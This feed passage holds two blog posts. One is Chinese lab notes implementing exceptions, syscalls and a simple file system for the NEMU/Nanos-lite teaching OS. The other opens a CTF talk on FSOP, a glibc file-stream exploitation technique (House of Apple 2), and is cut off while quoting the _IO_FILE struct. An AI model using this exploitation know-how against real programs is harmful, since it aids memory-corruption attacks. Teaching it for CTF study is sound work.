&(cpu.mstatus.val);</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0x305</span>:</span><br><span class="line"> <span class="keyword">return</span> &(cpu.mtvec);</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> panic(<span class="string">"Unknown csr"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="让difftest支持异常响应机制">让 DiffTest 支持异常响应机制</h3><figure class="highlight diff"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#include <isa.h></span><br><span class="line"></span><br><span class="line">word_t isa_raise_intr(word_t NO, vaddr_t epc) {</span><br><span class="line"> cpu.mepc = epc;</span><br><span class="line"> cpu.mcause = NO;</span><br><span class="line"><span class="addition">+ cpu.mstatus.val = 0xa00001800;</span></span><br><span class="line"></span><br><span class="line"> return cpu.mtvec;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>我们需要先在 <code>ref_r</code> 以及 <code>diff_context_t</code> 中引入异常寄存器:</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">diff_context_t</span> {</span><br><span class="line"> <span class="type">word_t</span> gpr[<span class="built_in">MUXDEF</span>(CONFIG_RVE, <span class="number">16</span>, <span class="number">32</span>)];</span><br><span class="line"> <span class="type">word_t</span> pc;</span><br><span class="line"> <span class="type">word_t</span> mepc;</span><br><span class="line"> <span class="type">word_t</span> mcause;</span><br><span class="line"> <span class="type">word_t</span> mtvec;</span><br><span class="line"> <span class="type">word_t</span> mstatus;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> {</span><br><span class="line"> <span class="type">word_t</span> gpr[<span class="built_in">MUXDEF</span>(CONFIG_RVE, <span class="number">16</span>, <span class="number">32</span>)];</span><br><span class="line"> <span class="type">vaddr_t</span> pc;</span><br><span class="line"> <span class="type">word_t</span> mepc;</span><br><span class="line"> <span class="type">word_t</span> mcause;</span><br><span class="line"> <span class="type">word_t</span> mtvec;</span><br><span class="line"> <span class="type">word_t</span> mstatus;</span><br><span class="line">} <span class="built_in">MUXDEF</span>(CONFIG_RV64, riscv64_CPU_state, riscv32_CPU_state);</span><br></pre></td></tr></tbody></table></figure><p>接着在 difftest.cc 中添加相关支持</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">sim_t::diff_get_regs</span><span class="params">(<span class="type">void</span>* diff_context)</span> </span>{</span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">diff_context_t</span>* ctx = (<span class="keyword">struct</span> <span class="type">diff_context_t</span>*)diff_context;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < NR_GPR; i++) {</span><br><span class="line"> ctx->gpr[i] = state->XPR[i];</span><br><span class="line"> }</span><br><span class="line"> ctx->pc = state->pc;</span><br><span class="line"> ctx->mepc = state->mepc-><span class="built_in">read</span>();</span><br><span class="line"> ctx->mcause = state->mcause-><span class="built_in">read</span>();</span><br><span class="line"> ctx->mtvec = state->mtvec-><span class="built_in">read</span>();</span><br><span class="line"> ctx->mstatus = state->mstatus-><span class="built_in">read</span>();</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>事实上, 由于 NEMU 上的异常机制实现并不完整,直接使用 DiffTest 和 spike 比较会产生问题.我们可以选择忽略 <code>mstatus</code>:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpu.mstatus = ref_r->mstatus;</span><br></pre></td></tr></tbody></table></figure><h3 id="恢复上下文">恢复上下文</h3><blockquote><p>不过这里需要注意之前自陷指令保存的 PC, 对于 x86 的 <code>int</code> 指令,保存的是指向其下一条指令的 PC, 这有点像函数调用;而对于 mips32 的 <code>syscall</code> 和 riscv32 的 <code>ecall</code>,保存的是自陷指令的 PC, 因此软件需要在适当的地方对保存的 PC 加上 4,使得将来返回到自陷指令的下一条指令.</p></blockquote><p>啊.. 因为没有对 $pc+4,导致我一直在调试为什么程序会循环调用自陷操作😢</p><h2 id="用户程序和系统调用">用户程序和系统调用</h2><h3 id="加载第一个用户程序">加载第一个用户程序</h3><p>需要理清楚 ELF 文件是怎么被解析和加载的,然后利用 ramdisk 相关的 api 将其加载到内存中</p><h3 id="系统调用">系统调用</h3><p>从 navy-apps 的源码中可以知道它是怎么进行 syscall 的,然后在 nanos-lite 中添加相应的处理. 这里还故意漏掉了一些 GPR 的宏定义,需要 RTFSC 去补充.</p><h3 id="在nanos-lite上运行hello-world">在 Nanos-lite 上运行 Helloworld</h3><p>听起来只要像 <code>SYS_exit</code> 一样实现 <code>SYS_write</code> 就行了,但是如果有所疏忽的话, 可能会遇到程序一直打印同一个字符的问题.一开始我以为是 $pc 相关的操作没做好,后来查阅资料才发现 <code>printf()</code> 会根据 <code>write()</code> 的返回值做出不同操作: )</p><h3 id="hello程序是什么-它从而何来-要到哪里去">hello 程序是什么,它从而何来, 要到哪里去</h3><p><del>虽然这似乎是一道挺重要的必答题,但是我不太确定自己能否答好.</del></p><p>首先 <code>hello.c</code> 编译好之后会被打包进 <code>ramdisk.img</code> 中,我们在约定的地址上开始对它进行解析, 而加载的目标地址、栈结构,这些都已经被提前约定好了, 暂时不需要操作系统去考虑.</p><p><code>printf()</code> 会根据 newlib 中的实现,从我们实现的 <code>SYS_write</code> 中输出字符.<code>SYS_write</code> 本身的实现, 回到了 AM 中的 <code>putch</code> 宏.</p><p>在 AM 中, 它又变成了最基本的内存操作:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">putch</span><span class="params">(<span class="type">char</span> ch)</span> {</span><br><span class="line"> outb(SERIAL_PORT, ch);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">void</span> <span class="title function_">outb</span><span class="params">(<span class="type">uintptr_t</span> addr, <span class="type">uint8_t</span> data)</span> { *(<span class="keyword">volatile</span> <span class="type">uint8_t</span> *)addr = data; }</span><br></pre></td></tr></tbody></table></figure><p>后续的过程应当在设备实现时就理清楚了吧?(</p><h2 id="简易文件系统">简易文件系统</h2><p>这块内容我觉得还挺有意思的, 相关实现都放在 <code>fs.c</code> 中.</p><p>框架代码会将 ramdisk 中 (或者说 sfs) 的全部文件元数据在编译时放入一个数组 <code>file_table</code>.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* This is the information about all files in disk. */</span></span><br><span class="line"><span class="type">static</span> Finfo file_table[] __attribute__((used)) = {</span><br><span class="line"> [FD_STDIN] = {<span class="string">"stdin"</span>, <span class="number">0</span>, <span class="number">0</span>, invalid_read, invalid_write},</span><br><span class="line"> [FD_STDOUT] = {<span class="string">"stdout"</span>, <span class="number">0</span>, <span class="number">0</span>, invalid_read, invalid_write},</span><br><span class="line"> [FD_STDERR] = {<span class="string">"stderr"</span>, <span class="number">0</span>, <span class="number">0</span>, invalid_read, invalid_write},</span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">"files.h"</span></span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">// -- file.h --</span></span><br><span class="line"><span class="comment">// file path, file size, offset in disk</span></span><br><span class="line">{<span class="string">"/share/music/rhythm/Do.ogg"</span>, <span class="number">6473</span>, <span class="number">0</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/Si.ogg"</span>, <span class="number">6647</span>, <span class="number">6473</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/So.ogg"</span>, <span class="number">6538</span>, <span class="number">13120</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/Mi.ogg"</span>, <span class="number">6611</span>, <span class="number">19658</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/La.ogg"</span>, <span class="number">6542</span>, <span class="number">26269</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/Fa.ogg"</span>, <span class="number">6625</span>, <span class="number">32811</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/Re.ogg"</span>, <span class="number">6503</span>, <span class="number">39436</span>},</span><br><span class="line">{<span class="string">"/share/music/rhythm/empty.ogg"</span>, <span class="number">4071</span>, <span class="number">45939</span>},</span><br><span class="line">{<span class="string">"/share/music/little-star.ogg"</span>, <span class="number">140946</span>, <span class="number">50010</span>},</span><br><span class="line">{<span class="string">"/share/files/num"</span>, <span class="number">5000</span>, <span class="number">190956</span>},</span><br><span class="line">{<span class="string">"/share/pictures/projectn.bmp"</span>, <span class="number">49290</span>, <span class="number">195956</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-13.bdf"</span>, <span class="number">25677</span>, <span class="number">245246</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-9.bdf"</span>, <span class="number">20488</span>, <span class="number">270923</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-11.bdf"</span>, <span class="number">23272</span>, <span class="number">291411</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-10.bdf"</span>, <span class="number">21440</span>, <span class="number">314683</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-8.bdf"</span>, <span class="number">20114</span>, <span class="number">336123</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-7.bdf"</span>, <span class="number">19567</span>, <span class="number">356237</span>},</span><br><span class="line">{<span class="string">"/share/fonts/Courier-12.bdf"</span>, <span class="number">24339</span>, <span class="number">375804</span>},</span><br><span class="line">{<span class="string">"/bin/file-test"</span>, <span class="number">61728</span>, <span class="number">400143</span>},</span><br><span class="line">{<span class="string">"/bin/dummy"</span>, <span class="number">41536</span>, <span class="number">461871</span>},</span><br><span class="line">{<span class="string">"/bin/time-test"</span>, <span class="number">45880</span>, <span class="number">503407</span>},</span><br><span class="line">{<span class="string">"/bin/hello"</span>, <span class="number">46000</span>, <span class="number">549287</span>},</span><br><span class="line">{<span class="string">"总计"</span>, <span class="number">595287</span>, <span class="number">595287</span>},</span><br></pre></td></tr></tbody></table></figure><p>一些 makefile 技巧:</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">RAMDISK = build/ramdisk.img</span><br><span class="line">RAMDISK_H = build/ramdisk.h</span><br><span class="line"><span class="variable">$(RAMDISK)</span>: fsimg</span><br><span class="line"> <span class="variable">$(<span class="built_in">eval</span> FSIMG_FILES := $(<span class="built_in">shell</span> find -L ./fsimg -type f)</span>)</span><br><span class="line"> @mkdir -p $(@D)</span><br><span class="line"> @cat <span class="variable">$(FSIMG_FILES)</span> > <span class="variable">$@</span></span><br><span class="line"> @truncate -s \%512 <span class="variable">$@</span></span><br><span class="line"> @echo <span class="string">"// file path, file size, offset in disk"</span> > <span class="variable">$(RAMDISK_H)</span></span><br><span class="line"> @wc -c <span class="variable">$(FSIMG_FILES)</span> | grep -v 'total$$' | sed -e 's+ ./fsimg+ +' | awk -v sum=0 '{print <span class="string">"\x7b\x22"</span> $$2 <span class="string">"\x22\x2c "</span> $$1 <span class="string">"\x2c "</span> sum <span class="string">"\x7d\x2c"</span>;sum += $$1}' >> <span class="variable">$(RAMDISK_H)</span></span><br></pre></td></tr></tbody></table></figure><h3 id="虚拟文件系统">虚拟文件系统</h3><p>对应 5 个文件操作 <code>fs_open</code>, <code>fs_read</code>,<code>fs_write</code>, <code>fs_lseek</code>, <code>fs_close</code>.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">size_t</span> <span class="title function_">fs_open</span><span class="params">(<span class="type">char</span>* pathname, <span class="type">int</span> flags, <span class="type">int</span> mode)</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < file_cnt; i++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(pathname, file_table[i].name) == <span class="number">0</span>) {</span><br><span class="line"> file_table[i].open_offset = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> i;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"no such file"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> <span class="title function_">fs_read</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span> *buf, <span class="type">size_t</span> len)</span> {</span><br><span class="line"> assert(fd < file_cnt);</span><br><span class="line"> Finfo *f = &file_table[fd];</span><br><span class="line"> <span class="type">size_t</span> real_len = len;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (f->read == <span class="literal">NULL</span> && f->open_offset + len > f->size) {</span><br><span class="line"> real_len = f->size - f->open_offset;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">size_t</span> ret;</span><br><span class="line"> <span class="keyword">if</span> (f->read) {</span><br><span class="line"> ret = f->read(buf, f->open_offset, real_len);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ret = ramdisk_read(buf, f->disk_offset + f->open_offset, real_len);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> f->open_offset += ret;</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> <span class="title function_">fs_write</span><span class="params">(<span class="type">int</span> fd, <span class="type">const</span> <span class="type">void</span> *buf, <span class="type">size_t</span> len)</span> { </span><br><span class="line"> assert(fd < file_cnt);</span><br><span class="line"> Finfo *f = &file_table[fd];</span><br><span class="line"> <span class="type">size_t</span> real_len = len;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (f->write == <span class="literal">NULL</span> && f->open_offset + len > f->size) {</span><br><span class="line"> real_len = f->size - f->open_offset;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">size_t</span> ret;</span><br><span class="line"> <span class="keyword">if</span> (f->write) {</span><br><span class="line"> ret = f->write(buf, f->open_offset, real_len);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ret = ramdisk_write(buf, f->disk_offset + f->open_offset, real_len);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> f->open_offset += ret;</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">off_t</span> <span class="title function_">fs_lseek</span><span class="params">(<span class="type">int</span> fd, <span class="type">off_t</span> offset, <span class="type">int</span> whence)</span> { </span><br><span class="line"> assert(fd < file_cnt);</span><br><span class="line"> Finfo *f = &file_table[fd];</span><br><span class="line"> <span class="type">int64_t</span> next_offset = f->open_offset;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (whence) {</span><br><span class="line"> <span class="keyword">case</span> SEEK_SET: next_offset = offset; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> SEEK_CUR: next_offset += offset; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> SEEK_END: next_offset = f->size + offset; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>: <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (next_offset < <span class="number">0</span>) next_offset = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (next_offset > f->size) next_offset = f->size;</span><br><span class="line"></span><br><span class="line"> f->open_offset = (<span class="type">size_t</span>)next_offset;</span><br><span class="line"> <span class="keyword">return</span> f->open_offset;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">fs_close</span><span class="params">(<span class="type">int</span> fd)</span> {<span class="keyword">return</span> <span class="number">0</span>;}</span><br></pre></td></tr></tbody></table></figure><h3 id="操作系统之上的ioe">操作系统之上的 IOE</h3><h4 id="实现gettimeofday">实现 gettimeofday</h4><p>回顾一下之前的时钟实现</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">size_t</span> <span class="title function_">gettimeofday</span><span class="params">(<span class="keyword">struct</span> timeval *tv, <span class="keyword">struct</span> timezone *tz)</span> {</span><br><span class="line"> <span class="type">uint64_t</span> time = io_read(AM_TIMER_UPTIME).us;</span><br><span class="line"> tv->tv_sec = time / <span class="number">1000000</span>;</span><br><span class="line"> tv->tv_usec = time % <span class="number">1000000</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> SYS_gettimeofday: {</span><br><span class="line"> LOG_CALL(<span class="string">"SYS_gettimeofday"</span>);</span><br><span class="line"> c->GPRx = gettimeofday((<span class="keyword">struct</span> timeval *)a[<span class="number">1</span>], <span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure><p>然后写一个测试程序</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"></home/ubuntu/ics2024/navy-apps/libs/libos/src/syscall.c></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/time.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">timeval</span> <span class="title">now</span>;</span></span><br><span class="line"> </span><br><span class="line"> _gettimeofday(&now, <span class="literal">NULL</span>);</span><br><span class="line"> <span class="type">uint64_t</span> last_us = (<span class="type">uint64_t</span>)now.tv_sec * <span class="number">1000000</span> + now.tv_usec;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> _gettimeofday(&now, <span class="literal">NULL</span>);</span><br><span class="line"> <span class="type">uint64_t</span> current_us = (<span class="type">uint64_t</span>)now.tv_sec * <span class="number">1000000</span> + now.tv_usec;</span><br><span class="line"> <span class="keyword">if</span> (current_us - last_us >= <span class="number">500000</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"0.5 seconds have passed!\n"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> last_us += <span class="number">500000</span>; </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><strong><code>volatile</code> 是必须的</strong>,不然编译器可能会认为这个变量短时间不会变化, 将其缓存到寄存器中</p><figure><img src="/PA1/image-20260105143451601.png" alt="With volatile"><figcaption aria-hidden="true">With volatile</figcaption></figure><figure><img src="/PA1/image-20260105143829898.png" alt="Without volatile"><figcaption aria-hidden="true">Without volatile</figcaption></figure><h1 id="references">References</h1><ul><li>https://lf-riscv.atlassian.net/wiki/spaces/HOME/pages/16154769/RISC-V+Technical+Specifications#ISA-Specifications</li><li>https://gcc.gnu.org/onlinedocs/gcc-15.1.0/gcc.pdf</li><li>https://elixir.bootlin.com/glibc/glibc-2.42.9000/source</li><li>https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779#file-elf_format_cheatsheet-md</li></ul>]]></content>
<summary type="html"><div class="note info"><p><em>Do you know</em></p>
<p>本人代码水平拙劣🥲,实现部分仅供参考</p>
</div></summary>
<category term="Study" scheme="http://summ2.link/categories/Study/"/>
<category term="ICS" scheme="http://summ2.link/tags/ICS/"/>
</entry>
<entry>
<title>Vidar 分享会 - FSOP</title>
<link href="http://summ2.link/categories/CTF/vidarshare-fsop/"/>
<id>http://summ2.link/categories/CTF/vidarshare-fsop/</id>
<published>2025-03-31T16:00:00.000Z</published>
<updated>2025-03-31T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="i.-fsop">I. FSOP</h1><blockquote><p>FSOP 是 File Stream Oriented Programming 的缩写。</p><p>FSOP 的核心思想就是劫持<code>_IO_list_all</code> 的值来伪造链表和其中的<code>_IO_FILE</code> 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP选择的触发方法是调用<code>_IO_flush_all_lockp</code>,这个函数会刷新<code>_IO_list_all</code> 链表中所有项的文件流,相当于对每个FILE 调用fflush,也对应着会调用<code>_IO_FILE_plus.vtable</code> 中的<code>_IO_overflow</code>。<span id="more"></span></p></blockquote><h1 id="ii.-rtfsc">II. RTFSC</h1><p>下面我将以 glibc-2.39 源码为例,分析 FSOP 的一个实际应用 ---House ofApple (2)<a href="#fn1" class="footnote-ref" id="fnref1" role="doc-noteref"><sup>1</sup></a> 涉及的原理。</p><h2 id="io_file">_IO_FILE</h2><p><code>/libio/bits/types/struct_FILE.h</code> 中有如下定义:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="type">int</span> _flags; <span class="comment">/* High-order word is _IO_MAGIC; rest is flags. */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The following pointers correspond to the C++ streambuf protocol. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_read_ptr; <span class="comment">/* Current read pointer */</span></span><br><span class="line"> <span class="type">char</span> *_IO_read_end; <span class="comment">/* End of get area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_read_base; <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_write_ptr; <span class="comment">/* Current put pointer. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_write_end; <span class="comment">/* End of put area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_buf_base; <span class="comment">/* Start of reserve area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_buf_end; <span class="comment">/* End of reserve area. */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line"> <span class="type">char</span> *_IO_backup_base; <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line"> <span class="type">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> *_<span class="title">markers</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">chain</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> _fileno;</span><br><span class="line"> <span class="type">int</span> _flags2;</span><br><span class="line"> <span class="type">__off_t</span> _old_offset; <span class="comment">/* This used to be _offset but it's too small. */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 1+column number of pbase(); 0 is unknown. */</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">short</span> _cur_column;</span><br><span class="line"> <span class="type">signed</span> <span class="type">char</span> _vtable_offset;</span><br><span class="line"> <span class="type">char</span> _shortbuf[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> _IO_lock_t *_lock;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_USE_OLD_IO_FILE</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_complete</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> _<span class="title">file</span>;</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="type">__off64_t</span> _offset;</span><br><span class="line"> <span class="comment">/* Wide character stream stuff. */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_codecvt</span> *_<span class="title">codecvt</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_wide_data</span> *_<span 